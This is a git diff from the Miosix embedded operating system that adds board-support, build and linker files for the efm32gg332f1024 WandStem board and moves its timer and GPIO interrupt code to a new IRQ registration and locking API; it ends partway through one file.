b/miosix/arch/board/efm32g222f128_generic/unikernel.ld new file mode 100644 index 000000000..afc339cf5 --- /dev/null +++ b/miosix/arch/board/efm32g222f128_generic/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for efm32g222f128 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x00000800, LENGTH = 128K-2K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 16K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/efm32gg332f1024_wandstem/CMakeLists.txt b/miosix/arch/board/efm32gg332f1024_wandstem/CMakeLists.txt new file mode 100644 index 000000000..9c8534794 --- /dev/null +++ b/miosix/arch/board/efm32gg332f1024_wandstem/CMakeLists.txt @@ -0,0 +1,45 @@ +## +## CMakeLists.txt for board efm32gg332f1024_wandstem +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/efm32gg) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld + processes.ld -DWITH_PROCESSES +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/spi.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/power_manager.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/os_timer.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/timer_interface.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/rtc.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/hrtb.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/gpio_timer.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/transceiver_timer.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/gpioirq.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/transceiver.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/flopsync_vht.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/vht.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/virtual_clock.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_WANDSTEM) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_WANDSTEM) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE wandstem-flash -m u -f ) diff --git a/miosix/arch/board/efm32gg332f1024_wandstem/Makefile.inc b/miosix/arch/board/efm32gg332f1024_wandstem/Makefile.inc new file mode 100644 index 000000000..800fc254a --- /dev/null +++ b/miosix/arch/board/efm32gg332f1024_wandstem/Makefile.inc @@ -0,0 +1,37 @@ +## +## Makefile for board efm32gg332f1024_wandstem +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/efm32gg + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/interfaces-impl/bsp.cpp \ +$(BOARD_INC)/interfaces-impl/spi.cpp \ +$(BOARD_INC)/interfaces-impl/power_manager.cpp \ +$(BOARD_INC)/interfaces-impl/os_timer.cpp \ +$(BOARD_INC)/interfaces-impl/timer_interface.cpp \ +$(BOARD_INC)/interfaces-impl/rtc.cpp \ +$(BOARD_INC)/interfaces-impl/hrtb.cpp \ +$(BOARD_INC)/interfaces-impl/gpio_timer.cpp \ +$(BOARD_INC)/interfaces-impl/transceiver_timer.cpp \ +$(BOARD_INC)/interfaces-impl/gpioirq.cpp \ +$(BOARD_INC)/interfaces-impl/transceiver.cpp \ +$(BOARD_INC)/interfaces-impl/flopsync_vht.cpp \ +$(BOARD_INC)/interfaces-impl/vht.cpp \ +$(BOARD_INC)/interfaces-impl/virtual_clock.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_WANDSTEM +BOARD_CXXFLAGS := -D_BOARD_WANDSTEM + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= wandstem-flash -m u -f $(if $(ROMFS_DIR), image.bin, main.bin) diff --git a/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..0791a66ae --- /dev/null +++ b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,33 @@ +/*************************************************************************** + * Copyright (C) 2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg332f1024.h" + +//Peripheral interrupt start from 0 and the last one is 38, so there are 39 +#define MIOSIX_NUM_PERIPHERAL_IRQ 39 diff --git a/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/bsp.cpp b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..727178bd1 --- /dev/null +++ b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/bsp.cpp @@ -0,0 +1,310 @@ +/*************************************************************************** + * Copyright (C) 2015 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** + * bsp.cpp Part of the Miosix Embedded OS. + * Board support package, this file initializes hardware. + ************************************************************************/ + +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "interfaces/gpio.h" +#include "interfaces/arch_registers.h" +#include "interfaces/poweroff.h" +#include "miosix_settings.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "board_settings.h" +#include "hrtb.h" +#include "vht.h" + +namespace miosix { + +// +// Initialization +// + +/** + * This function is the first function called during boot to initialize the + * platform memory and clock subsystems. + * + * Code in this function has several important restrictions: + * - When this function is called, part of the memory address space may not be + * available. This occurs when the board includes an external memory, and + * indeed it is the purpose of this very function to enable the external + * memory (if present) and map it into the address space! + * - This function is called before global and static variables in .data/.bss + * are initialized. As a consequence, this function and all function it calls + * are forbidden from referencing global and static variables + * - This function is called with the stack pointer pointing to the interrupt + * stack. This is in general a small stack, but is the only stack that is + * guaranteed to be in the internal memory. The allocation of stack-local + * variables and the nesting of function calls should be kept to a minimum + * - This function is called with interrupts disabled, before the kernel is + * started and before the I/O subsystem is enabled. There is thus no way + * of printing any debug message. + * + * This function should perform the following operations: + * - Configure the internal memory wait states to support the desired target + * operating frequency + * - Configure the CPU clock (e.g: PLL) to run at the desired target frequency + * - Enable and configure the external memory (if available) + * + * As a postcondition of running this function, the entire memory map as + * specified in the linker script should be accessible, so the rest of the + * kernel can use the memory to complete the boot sequence, and the CPU clock + * should be configured at the desired target frequency so the boot can proceed + * quickly. + */ +void IRQmemoryAndClockInit() +{ + //Validate frequency + static_assert(cpuFrequency==oscillatorFrequency, "prescaling unsupported"); + static_assert(peripheralFrequency==oscillatorFrequency, "prescaling unsupported"); + static_assert(oscillatorType==OscillatorType::HFXO + || oscillatorFrequency==1200000 + || oscillatorFrequency==6600000 + || oscillatorFrequency==11000000 + || oscillatorFrequency==14000000 + || oscillatorFrequency==21000000 + || oscillatorFrequency==28000000, "HFRCO frequency unsupported"); + + //Configure flash wait states + if(cpuFrequency>32000000) MSC->READCTRL=MSC_READCTRL_MODE_WS2; + else if(cpuFrequency>16000000) MSC->READCTRL=MSC_READCTRL_MODE_WS1; + else MSC->READCTRL=MSC_READCTRL_MODE_WS0; + MSC->WRITECTRL=MSC_WRITECTRL_RWWEN; //Enable FLASH read while write support + + //Configure prescalers + if(cpuFrequency>32000000) CMU->HFCORECLKDIV=CMU_HFCORECLKDIV_HFCORECLKLEDIV; + else CMU->HFCORECLKDIV=0; + CMU->HFPERCLKDIV=CMU_HFPERCLKDIV_HFPERCLKEN; + + //Configure oscillator + if(oscillatorType==OscillatorType::HFXO) + { + //HFXO startup time seems slightly dependent on supply voltage, with + //higher voltage resulting in longer startup time (changes by a few us at + //most). Also, HFXOBOOST greatly affects startup time, as shown in the + //following table + //BOOST sample#1 sample#2 + //100% 94us 100us + // 80% 104us 111us + // 70% 117us 125us + // 50% 205us 223us + //Configure oscillator parameters for HFXO and LFXO + unsigned int dontChange=CMU->CTRL & CMU_CTRL_LFXOBUFCUR; + if(oscillatorFrequency>32000000) + { + CMU->CTRL=CMU_CTRL_HFLE //We run at a frequency > 32MHz + | CMU_CTRL_HFXOTIMEOUT_1KCYCLES //1K cyc timeout for HFXO startup + | CMU_CTRL_HFXOBUFCUR_BOOSTABOVE32MHZ //We run at a freq > 32MHz + | CMU_CTRL_HFXOBOOST_70PCENT //We want a startup time >=100us + | dontChange; //Don't change some of the bits + } else { + CMU->CTRL=CMU_CTRL_HFXOTIMEOUT_1KCYCLES //1K cyc timeout for HFXO startup + | CMU_CTRL_HFXOBUFCUR_BOOSTUPTO32MHZ //We run at a freq <= 32MHz + | CMU_CTRL_HFXOBOOST_70PCENT //We want a startup time >=100us + | dontChange; //Don't change some of the bits + } + //Select HFXO + CMU->OSCENCMD=CMU_OSCENCMD_HFXOEN; + //Then switch immediately to HFXO + CMU->CMD=CMU_CMD_HFCLKSEL_HFXO; + //Disable HFRCO since we don't need it anymore + CMU->OSCENCMD=CMU_OSCENCMD_HFRCODIS; + } else { + //Pointer to table of HFRCO calibration values in device information page + unsigned char *diHfrcoCalib=reinterpret_cast(0x0fe081dc); + if(oscillatorFrequency==1200000) + CMU->HFRCOCTRL=CMU_HFRCOCTRL_BAND_1MHZ | diHfrcoCalib[0]; + else if(oscillatorFrequency==6600000) + CMU->HFRCOCTRL=CMU_HFRCOCTRL_BAND_7MHZ | diHfrcoCalib[1]; + else if(oscillatorFrequency==11000000) + CMU->HFRCOCTRL=CMU_HFRCOCTRL_BAND_11MHZ | diHfrcoCalib[2]; + else if(oscillatorFrequency==14000000) + CMU->HFRCOCTRL=CMU_HFRCOCTRL_BAND_14MHZ | diHfrcoCalib[3]; + else if(oscillatorFrequency==21000000) + CMU->HFRCOCTRL=CMU_HFRCOCTRL_BAND_21MHZ | diHfrcoCalib[4]; + else if(oscillatorFrequency==28000000) + CMU->HFRCOCTRL=CMU_HFRCOCTRL_BAND_28MHZ | diHfrcoCalib[5]; + } +} + +void IRQbspInit() +{ + MSC->CTRL=0; //Generate bus fault on access to unmapped areas + + // + // Setup GPIOs + // + CMU->HFPERCLKEN0|=CMU_HFPERCLKEN0_GPIO; + GPIO->CTRL=GPIO_CTRL_EM4RET; //GPIOs keep their state in EM4 + + redLed::mode(Mode::OUTPUT_LOW); + greenLed::mode(Mode::OUTPUT_LOW); + userButton::mode(Mode::INPUT_PULL_UP_FILTER); + loopback32KHzIn::mode(Mode::INPUT); + loopback32KHzOut::mode(Mode::OUTPUT); + + #if WANDSTEM_HW_REV>=13 + voltageSelect::mode(Mode::OUTPUT_LOW); //Default VDD=2.3V + #endif + + #if WANDSTEM_HW_REV>13 + powerSwitch::mode(Mode::OUTPUT_LOW); + #endif + + internalSpi::mosi::mode(Mode::OUTPUT_LOW); + internalSpi::miso::mode(Mode::INPUT_PULL_DOWN); //To prevent it floating + internalSpi::sck::mode(Mode::OUTPUT_LOW); + + transceiver::cs::mode(Mode::OUTPUT_LOW); + transceiver::reset::mode(Mode::OUTPUT_LOW); + transceiver::vregEn::mode(Mode::OUTPUT_LOW); + transceiver::gpio1::mode(Mode::INPUT_PULL_DOWN); //To prevent it floating + transceiver::gpio2::mode(Mode::INPUT_PULL_DOWN); //To prevent it floating + transceiver::excChB::mode(Mode::INPUT_PULL_DOWN); //To prevent it floating + #if WANDSTEM_HW_REV<13 + transceiver::gpio4::mode(Mode::INPUT_PULL_DOWN); //To prevent it floating + #endif + transceiver::stxon::mode(Mode::OUTPUT_LOW); + + #if WANDSTEM_HW_REV>10 + //Flash is gated, keeping low prevents current from flowing in gated domain + flash::cs::mode(Mode::OUTPUT_LOW); + flash::hold::mode(Mode::OUTPUT_LOW); + #else + //Flash not power gated in earlier boards + flash::cs::mode(Mode::OUTPUT_HIGH); + flash::hold::mode(Mode::OUTPUT_HIGH); + #endif + + currentSense::enable::mode(Mode::OUTPUT_LOW); + //currentSense sense pin remains disabled as it is an analog channel + + // + // Setup rtc clock + // + static_assert(rtcOscillatorType==RtcOscillatorType::LFXO + || rtcOscillatorFrequency==32768, "LFRCO frequency is fixed"); + if(rtcOscillatorType==RtcOscillatorType::LFXO) + { + CMU->CTRL |= CMU_CTRL_CLKOUTSEL1_LFXOQ //Used for the 32KHz loopback + | CMU_CTRL_LFXOTIMEOUT_16KCYCLES //16K cyc timeout for LFXO startup + | CMU_CTRL_LFXOBOOST_70PCENT; //Use recomended value + CMU->OSCENCMD=CMU_OSCENCMD_LFXOEN; + ledOn(); + #ifdef WITH_SLEEP + //Reuse the LED blink at boot to wait for the LFXO 32KHz oscillator startup + //SWitching temporarily the CPU to run off of the 32KHz XTAL is the easiest + //way to sleep while it locks, as it stalls the CPU and peripherals till the + //oscillator is stable, but confuses an attached debugger + CMU->CMD=CMU_CMD_HFCLKSEL_LFXO; + CMU->CMD=CMU_CMD_HFCLKSEL_HFXO; + #else //WITH_SLEEP + while((CMU->STATUS & CMU_STATUS_LFXORDY)==0) ; + #endif //WITH_SLEEP + ledOff(); + } else if(rtcOscillatorType==RtcOscillatorType::LFRCO) { + CMU->OSCENCMD=CMU_OSCENCMD_LFRCOEN; + } + + //Put the LFXO frequency on the loopback pin + CMU->ROUTE=CMU_ROUTE_LOCATION_LOC1 //32KHz out is on PD8 + | CMU_ROUTE_CLKOUT1PEN; //Enable pin + + //The LFA and LFB clock trees are connected to the LFXO + CMU->LFCLKSEL=CMU_LFCLKSEL_LFB_LFXO | CMU_LFCLKSEL_LFA_LFXO; + + // + // Setup serial port + // + if(defaultSerial==0) + { + using tx = Gpio; + using rx = Gpio; + IRQsetDefaultConsole(intrusive_ref_ptr( + new EFM32Serial(defaultSerial,defaultSerialSpeed, + tx::getPin(),rx::getPin()))); + } else { + using tx = Gpio; + using rx = Gpio; + IRQsetDefaultConsole(intrusive_ref_ptr( + new EFM32Serial(defaultSerial,defaultSerialSpeed, + tx::getPin(),rx::getPin()))); + } +} + +void bspInit2() +{ + #ifndef DISABLE_FLOPSYNCVHT + VHT::instance().start(); + #endif //DISABLE_FLOPSYNCVHT + #ifdef WITH_FILESYSTEM + //Passing an empty device won't mount fat32, but will mount romfs and devfs + basicFilesystemSetup(intrusive_ref_ptr()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + FastGlobalIrqLock::lock(); + + //Serial port is causing some residual consumption + USART0->CMD=USART_CMD_TXDIS | USART_CMD_RXDIS; + USART0->ROUTE=0; + debugConnector::tx::mode(Mode::DISABLED); + debugConnector::rx::mode(Mode::DISABLED); + + //Sequence to enter EM4 + for(int i=0;i<5;i++) + { + EMU->CTRL=2<<2; + EMU->CTRL=3<<2; + } + //Should never reach here + IRQsystemReboot(); +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/bsp_impl.h b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..d9ee74b42 --- /dev/null +++ b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/bsp_impl.h @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2015 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "hwmapping.h" + +namespace miosix { + +inline void ledOn() { redLed::high(); } +inline void ledOff() { redLed::low(); } + +} diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/cc2520_constants.h b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/cc2520_constants.h similarity index 100% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/cc2520_constants.h rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/cc2520_constants.h diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/flopsync_vht.cpp b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/flopsync_vht.cpp similarity index 100% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/flopsync_vht.cpp rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/flopsync_vht.cpp diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/flopsync_vht.h b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/flopsync_vht.h similarity index 100% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/flopsync_vht.h rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/flopsync_vht.h diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/gpio_timer.cpp b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/gpio_timer.cpp similarity index 99% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/gpio_timer.cpp rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/gpio_timer.cpp index aca5840a4..d6e5468d1 100644 --- a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/gpio_timer.cpp +++ b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/gpio_timer.cpp @@ -36,7 +36,7 @@ namespace miosix{ */ long long GPIOtimer::getValue() const{ - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; return b.IRQgetCurrentTick(); } diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/gpio_timer.h b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/gpio_timer.h similarity index 100% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/gpio_timer.h rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/gpio_timer.h diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/gpio_timer_corr.cpp b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/gpio_timer_corr.cpp similarity index 99% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/gpio_timer_corr.cpp rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/gpio_timer_corr.cpp index b2d7ed421..c42f4855e 100644 --- a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/gpio_timer_corr.cpp +++ b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/gpio_timer_corr.cpp @@ -46,7 +46,7 @@ static VirtualClock *vt=nullptr; */ long long GPIOtimerCorr::getValue() const{ - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; return vt->uncorrected2corrected(b.IRQgetCurrentTickVht()); } diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/gpio_timer_corr.h b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/gpio_timer_corr.h similarity index 100% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/gpio_timer_corr.h rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/gpio_timer_corr.h diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/gpioirq.cpp b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/gpioirq.cpp similarity index 85% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/gpioirq.cpp rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/gpioirq.cpp index 38cc739d4..a5da30e06 100644 --- a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/gpioirq.cpp +++ b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/gpioirq.cpp @@ -27,36 +27,17 @@ #include "gpioirq.h" #include -#include +#include +#include using namespace std; static function callbacks[16]; ///< Registered callbacks -/** - * Gpio interrupt for even pin numbers - */ -void __attribute__((naked)) GPIO_EVEN_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z19GPIOEvenHandlerImplv"); - restoreContext(); -} - -/** - * Gpio interrupt for odd pin numbers - */ -void __attribute__((naked)) GPIO_ODD_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z18GPIOOddHandlerImplv"); - restoreContext(); -} - /** * Gpio interrupt for even pin numbers actual implementation */ -void __attribute__((used)) GPIOEvenHandlerImpl() +void IRQGpioEvenInterruptHandler() { for(int i=0;i<16;i+=2) { @@ -69,7 +50,7 @@ void __attribute__((used)) GPIOEvenHandlerImpl() /** * Gpio interrupt for odd pin numbers actual implementation */ -void __attribute__((used)) GPIOOddHandlerImpl() +void IRQGpioOddInterruptHandler() { for(int i=1;i<16;i+=2) { @@ -90,16 +71,14 @@ void registerGpioIrq(GpioPin pin, GpioIrqEdge edge, function callback) bool failed=false; { - FastInterruptDisableLock dLock; + GlobalIrqLock dLock; static bool first=false; if(first==false) { first=true; GPIO->INSENSE |= GPIO_INSENSE_INT | GPIO_INSENSE_PRS; - NVIC_EnableIRQ(GPIO_EVEN_IRQn); - NVIC_SetPriority(GPIO_EVEN_IRQn,10); //Low priority - NVIC_EnableIRQ(GPIO_ODD_IRQn); - NVIC_SetPriority(GPIO_ODD_IRQn,10); //Low priority + IRQregisterIrq(dLock,GPIO_EVEN_IRQn,&IRQGpioEvenInterruptHandler); + IRQregisterIrq(dLock,GPIO_ODD_IRQn,&IRQGpioOddInterruptHandler); } if(callbacks[number]) @@ -132,7 +111,7 @@ void enableGpioIrq(GpioPin pin) { bool ok; { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; ok=IRQenableGpioIrq(pin); } if(ok==false) throw runtime_error("Pin number not in use"); @@ -142,7 +121,7 @@ void disableGpioIrq(GpioPin pin) { bool ok; { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; ok=IRQdisableGpioIrq(pin); } if(ok==false) throw runtime_error("Pin number not in use"); @@ -172,7 +151,7 @@ void unregisterGpioIrq(GpioPin pin) if(number>15) throw range_error("Pin number out of range"); function empty; { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; IRQdisableGpioIrq(pin); //Swap is nothrow guaranteed, so it can't call unexpected code //with irq disabled diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/gpioirq.h b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/gpioirq.h similarity index 100% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/gpioirq.h rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/gpioirq.h diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/hrtb.cpp b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/hrtb.cpp similarity index 88% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/hrtb.cpp rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/hrtb.cpp index 34d757a47..b24957f8d 100644 --- a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/hrtb.cpp +++ b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/hrtb.cpp @@ -25,8 +25,9 @@ * along with this program; if not, see * ***************************************************************************/ -#include "kernel/kernel.h" -#include "kernel/scheduler/timer_interrupt.h" +#include "kernel/thread.h" +#include "interfaces/interrupts.h" +#include "interfaces_private/os_timer.h" #include "hrtb.h" #include "kernel/timeconversion.h" #include "gpio_timer.h" @@ -64,6 +65,10 @@ bool isInputTransceiver=true; static int faseGPIO=0; static int faseTransceiver=0; +namespace miosix { +long long irqNs=0x7FFFFFFFFFFFFFFFLL; +} //namespace miosix + static inline unsigned int IRQread32Timer(){ unsigned int high=TIMER3->CNT; unsigned int low=TIMER1->CNT; @@ -114,8 +119,6 @@ inline void interruptGPIOTimerRoutine(){ //Reactivating the thread that is waiting for the event. if(gpioWaiting){ gpioWaiting->IRQwakeup(); - if(gpioWaiting->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); gpioWaiting=nullptr; } } @@ -124,8 +127,6 @@ inline void interruptTransceiverTimerRoutine(){ //Reactivating the thread that is waiting for the event. if(transceiverWaiting){ transceiverWaiting->IRQwakeup(); - if(transceiverWaiting->IRQgetPriority() > Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); transceiverWaiting=nullptr; } } @@ -137,7 +138,8 @@ static void callScheduler(){ TIMER3->IFC = TIMER_IFC_CC1; //This line takes about 7.7microseconds long long ns = tc->tick2ns(vt->uncorrected2corrected(IRQgetTickCorrectedVht())); - IRQtimerInterrupt(ns); + irqNs=0x7FFFFFFFFFFFFFFFLL; + IRQwakeThreads(ns); } static void setupTimers(){ @@ -163,28 +165,7 @@ static void setupTimers(){ // If the most significant 32bit aren't match wait for TIM3 to overflow! } -void __attribute__((naked)) TIMER3_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z10cstirqhnd3v"); - restoreContext(); -} - -void __attribute__((naked)) TIMER2_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z10cstirqhnd2v"); - restoreContext(); -} - -void __attribute__((naked)) TIMER1_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z10cstirqhnd1v"); - restoreContext(); -} - -void __attribute__((used)) cstirqhnd3(){ +void cstirqhnd3(){ //rollover if (TIMER3->IF & TIMER_IF_OF){ TIMER3->IFC = TIMER_IFC_OF; @@ -210,7 +191,7 @@ void __attribute__((used)) cstirqhnd3(){ } } -void __attribute__((used)) cstirqhnd2(){ +void cstirqhnd2(){ //CC0 listening for received packet --> input mode if ((TIMER2->IEN & TIMER_IEN_CC0) && (TIMER2->IF & TIMER_IF_CC0) ){ TIMER2->IEN &= ~ TIMER_IEN_CC0; @@ -260,8 +241,6 @@ void __attribute__((used)) cstirqhnd2(){ //Reactivating the thread that is waiting for the event, WITHOUT changing the tWaiting if(transceiverWaiting){ transceiverWaiting->IRQwakeup(); - if(transceiverWaiting->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); } } } @@ -294,9 +273,6 @@ void __attribute__((used)) cstirqhnd2(){ if(VHT::softEnable){ HRTB::flopsyncThread->IRQwakeup(); - if(HRTB::flopsyncThread->IRQgetPriority() > Thread::IRQgetCurrentThread()->IRQgetPriority()){ - Scheduler::IRQfindNextThread(); - } } } } @@ -305,7 +281,7 